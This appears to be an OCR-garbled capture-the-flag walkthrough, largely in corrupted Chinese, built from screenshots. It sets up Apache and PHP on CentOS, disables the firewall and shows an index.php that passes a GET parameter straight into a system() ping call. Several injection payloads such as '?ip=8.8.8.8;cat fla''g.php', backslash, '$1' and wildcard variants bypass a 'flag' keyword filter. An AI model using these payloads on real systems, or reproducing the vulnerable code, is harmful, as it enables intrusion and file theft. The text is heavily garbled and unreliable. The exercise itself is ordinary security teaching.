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B SefELinuxkE ML I %23 Apache

Yum install httpd

Ifroot@Gcktech-Server Desktobi#
Loaded plugins: langpacks, pro

yum install httpd
= ] a] %] on-manager

Resolving Dependencies

=== Running transaction check

---= Package httpd.xB6_64 0:2.4.6-93.el7.centos will be installed

--= Running transaction check

---= Package httpd-tools.x86_64 G:2.4.6-93 . el7.centos will be installed

--> Finished Dependency Resolution

Dependencies Resolved

This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.

= Processing Dependency: httpd-tools = 2.4.6-93.el7.centos for package: httpd-2.4.6-93.el7.centos.xB6_64

Package Arch Version

Installing:
httpd *86_64 2.4.6-93.el7.centos
Installing fer dependencies:

httpd-tools x86_64 2.4.6-93.el7.centos

Transaction Summary

Repository

base

base

Install 1 Package (+1 Dependent package)

Total download size: 2.8 M

Installed size: 9.5 M

Is this ok [y/d/N]: v

Downloading packages:

|t1/2): httpd-tools-2.4.6-83.el7.centos.x86_64.rpm

| 92 kB
| 2.7 MB

60 :60:60
00:80:081

[Runnina transaction check

223 PHPFR g

2.4 MB/s | 2.8 MB

6GE:60:01
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Yum install php

[root@Goktech-Server Desktop]

Loaded plugins: langpacks, product-1d, Subscription-manager

This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register.
Rasolving Dependencies

--= Running transaction check

---> Package php.xB5_64 0:5.4.16-48.e17 will be installed

--= Processing Dependency: php-common(xB6-64) = 5.4.16-48.e1l7 for package: php-5.4.16-48.e17.xB6_64
--= Processing Dependency: php-cli(xB6-64) = 5.4.16-48.e17 for package: php-5.4.16-48.el7 .x86_&4
--> Running transaction check

---= Package php-cli.x86_64 0:5.4.16-48.ael7 will be installed

---= Package php-common.x86_64 0:5.4.16-48.e17 will be installed

--=> Finished Dependency Resolution

Dependencies Resolved

Transaction Summary

Package Arch Version Repository Size
Installing:

php xBE_64 5.4.16-48.e17 base 1.4 M
Installing for dependencies:

php-cli xB6_64 5.4.16-48.17 base 2.7 M
php-common *86_64 5.4.16-48.e17 base 565 k

Install 1 Package (+2 Dependent packages)

Total download size: 4.7 M
Installaed size: 17 M
Is this ok [y/d/N]: ¥y
Downloading packages:
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roct@Goktech=Servervariwww/html

File Edt View Search Termnal Help
[[rootaGoktech-Sarver htnl]# 1s
\flag.php  index.php

([ root@Bektech-Server hial]# ]

PSP NE T

[rootiboktech-Server hitnl]# cat tndax.php
<iphp
Ihightignt file("index.chp®);

if(preg_natch( "/ Tlag/i”, § GET["ip"1])
f

1
systen| ping -c 3 § GET[1p]"};

dia|"no flag");

7>

[ rootiboktech-Server htal]# cat flag.php
|<7rfo

[$flag = "flagil Like_geb webi®:

| rootfiGoktech-Sepver htal)# .

FEHTTPARS
systemctl start httpd
9T I AEAE E NS5 AT LA B 5% B B K B

systemctl stop firewalld

I
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http://192.168.123.254/ it o
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' @ Lload URL [httpy/192.168.123.254]
¥ split URL
+)  Execute
[] Postdata [] Referrer 4% OxHEX ™ % %URL ¥ @ BASEGd I | nsert string to replace| | Insert replacing string| A 1
<?php

highlight_file(”index. php”) :
if (preg match("/flag/i”, $ GET["ip"1))
{

die{"ne flag”):

i
system("ping —-¢ 3 $_GET[ipl");

2>
system("ping -¢c 3 $_GET[ip]");iX —%i& ) B B % B 7l DL AT @ S $UT

3. ZHHMEar & ME S A B R T R EH flaghf 53X+
miE, K Afalg.php3cf, EREHE xHflag#fr T7id g

" @ Lload URL (httpy//192.168.123.254/2%ip=8.8.8.81s
% split URL

+) Execute

[] Postdata [ ] Referrer 4 OxHEX ™ &% %URL X

<?php
{ highlight file("index. php”) :

if (preg match("/flag/i”, § GET["ip”1))
{
die("ne flag”);

, system(“ping —¢ 3 $§ GET[ipl”);:

flag.php index.php

SR B cat flag.php BRI T



@ Load URL [ http://192.168.123.254/7ip=8.8.8.8;cat ﬂag.bhp
$ split URL
bl

Execute

[] Postdata [] Referrer 4™ OxHEX ™ % %URL ¥

<?php
highlight file("index.php”) :

if(preg match("/flag/i", $_GET["ip"1})
{
die("no flag”);
1
system(“ping -¢ 3 § GET[ipl”);:

i
no flag

XA T preg_match B#AH T AT — M IENRE X ILHES.

& H # #preg_match("/flag/i",$_GET["ip"]), HIEMFRIERA: fMagli, %R R NI IE KiphIE LS
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4z Load URL Bhttp://192.168.123.254/?ip=8.8.8.8:cat fla""g.php
B split URL

b, Execute

[] Postdata [ | Referrer 4 OxHEX ™» % %URL ¥ % BASEH4 Inse

<?php
highlight file("index.php”);

if{preg match("/flag/i”, $_GET["ip”1))

T
1

die("no flag”);

system(“ping -c¢ 3 $_GET[ipl”):

i

B9 € > = pma WtML~ | css BE DOM ¥ Cookies
% %8| body < html

(coca)(;psm style="ecolor: Z0000007>

2 EBnbzp:<span style="color: Z0000BB"»Elt;?php<brrhighlight_file{/spani{span style="color: 0077007 ({/span>{span
strle="color: ZDD0O0O”>"index. php™</spend{spen style="c : 200770072} ; <br><br>if ({/spani<{span strle="color:
2000088 " >preg_match{/span><span style="color: =007700°> ({/span?{spen style="coler: ZDDOMDO0">"/flag/i"¢/=pan>{span
style="color: 0077007, Enbsp; (/epand{spen style="color: 20000B3">5_CET{ spand{span strle="color: 0077007
[£/=pan?<=pan style="color: ZCDOO00 > ip"¢{/=pan’<zpan st,le-"ca or: B0TTO07:]1))
Cor? {{briimbep: knbsp; dnbsp; &nbsp; die({/span>{span style="color: FDDOO00" > noknbsp:flag”<{/span{zpan style="color:
£00770075) ; <br>} Cor><br></span>{span style="color: 30000BE">system/span{span style="coler: #00T70073 (/s span?<spa
style="color: FDD0O0O" > pingknbsp;—cknbsp;3knbsp;{/span?{span style="color: =0000BE™>3_GET</span>{span style="colo
0077007 f(ﬁn&n)(s:ﬂr style="coloxr: #0000BE >ip<¢/spen>(span style="color: #007700°3]¢/span>{span style="coler:

DI}'JL.'CI "3 cpan?span style="celor: 2O0TTO0™3) : {brd<{br>{/spani{span style="color: N000ER">7Ret: </ =pandénbz=p:

i

<foode>

oL s G

g Load URL [ http://192.168.123.254/?ip=8.8.8.B:cat fla"g.php
B split URL

b} Execute

[] Postdata [ | Referrer 4 OxHEX ™» &% %URL ¥ % BASEcd ™ inse

<?php
highlight_file("index. php”);

if (preg match("/flag/i”, §_GET["ip"1))
{
die("no flag”);

system("ping —-¢ 3 §_GET[ipl”);
>

# B { » = pma [ wtML~ | css EE DOM [@8  Cookies
& B8 body < him

{codeX<span style="color: 0000007

2 Enbsp:<span strle="color: #00008E">&lt:?php<brihishli aht _filed/span><span strle="color: &00TT007) ({/span>{spen
strle="color: #DDOO00">"index. pho™</spen>{spen st "color: #00TT007)) ;<br><br>if ({/span><span strle="color:
#0000BE" >preg match{/span?{span style="color: H00TT007>({/spen’{span style="color: ZDDO0D0">"/flag/i”{/span><=pan
strle="color: 500770073, knbsp;</span>{span stryle="color: #0000BE">§_GET{/span)(span style="color; 20077007
[¢/=pan¥¢zpan st7le="calor: ZLDOO0N">"ip"{/zpan?<zpan st;le-'r_'a'or: 077002100
¢br>{<{br#imbsp; énbsp; dnbsp; dnbsp; die({/ -Dsn)( span style="color: Z0D0000"> noknbzp;flag”</span¥<zpan style="color:
Z00TT007 3 ; <br>} <br><br>(/span?{spen style="cclor: 20000BE >systemd/spenr{spen strle="color: 2007T700">{<{/zpan><span
style="color: %0DO0007 > pingénbsp;-cknbsp;3mbsp; {/span?{span style="colar: =0000BE">3_CET</span>{spen style="color:
20077007 > [</span>{span style="c #0000BB " >1p</span>{span style="cclor: 20077007>]1</span><span strle="color:
EDDI000" > "¢/ span{span style="co BTTO0" 2} - < <brdd /spani{span style="color: =20000BE " >%&et </ zpan>&nbzp;
Cor><{/spand

3 {fcode>

f= RS



i - EEE $flag = "flag{l_like_qwb_web}"
6. i RFHLSEE

4= Load URL hup:m92.168.123.251f?ip=a.&a,a;catﬂa\g.php |
% split URL

k) Execute

[l Postdata [] Referer @ OxHEX 3B @K %URL 3B @K BASEct 3B |

<{?php
highlight file("index. php”) ;

if(preg match(“/flag/i”, § GET["ip”]1))

1
i

die("no flag”):

system("ping —-¢ 3 $_GET[ipl”);
¢

# O { ) )= pEme [ wtmLe | css HE DOM [ Cookies
ig u_ﬁ_- body < html

1| fecoded<zpan style="color: #0000007>

2 &nbsp:<span style="color: %0000BE">&lt;?phplhrihighlight file{/span?¢{span style="colaor: S007700"> ({/span>{span
style="color: S0DOD00" > index php </ speni{span style="color: BOOTTO0"H) ; <br><bxr>if (¢ /=panddzpan style="color:
#0000BE" »preg_match{/span><span strle="color: 0077007 (¢ /spen>{span style="ccler: 2DDO0O0">"/flaz/i"¢/span><{span
strle="color: 20077007, Enbsp:</span>{spen style="color: Z0000BB">§_CETY/span>{zpan style="color: =0077007 >

[4/zpan>{zpan strle="color: ZDD0O00 > ip"¢/span>{span strle="color: £0077007>1})
{br> {{brxnbsp fnbsp; dnbsp dnbsp:die (4, span?<zpan style="color: ZCDOO00" > 'noknbsp;flag ¢ /=pani<span style="color:
ZOTTO07 ) - br} <brddbr></span¥{span style="color: B0000BE Psystems/speni{span style="coleor: B00TTO0" > (¢ spani<span
strle="color: 5DD0000" > "pingknbsp:-cénbsp; 3knbsp; {/span><span strle="color: 50000BE">§_CET</span>{span style="celor:
2077007 »[{/spand€span style="colo O0BE"»ip</span>{span style="coler: 20077007214/ span¥<span strle="color:
ZDD0OND" ¢/ spanr{span style="color: 200770072} :<br><br>(/spand{span style="color: 20000BB">%&st;<{/span>knbzp:
Chrd{fspan?

4 Jcode.

7. FIFHShell $rik s & et
W B Ftacdy 4 7T L H 2 F Fiflaghi I &

& load URL | 'http://192.168.123.254/%ip=8.8.8.8;tac fla$1jg.php
% split URL

*}  Execute

] Post data [ ] Referrer 4= OxHEX ™ &% oURL ™

<?php
highlight file("index. php”) :

if{preg match(*/flaz/i", §_GET["ip”"1))
{
die("no flag”):

system("ping —¢ 3 $_GET[ipl"):

¥l
$flag = "flag{l_like gwb web}";
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g Load URL [ hitpy//192.168.1 23.254[fp=3.&8.8;soﬂ: fla*.php
% split URL

b)  Execute

[] Postdata [] Referrer 4™ OxHEX ™ &% %URL 3
{?php
highlight file("index. php”) :

if (preg match("/flas/i", $§_GET["ip"1))
{

die("no flag”):
1

system(“ping —c 3 $_GET[ipl”);

i
$flag = "flag{l like gwb web}";
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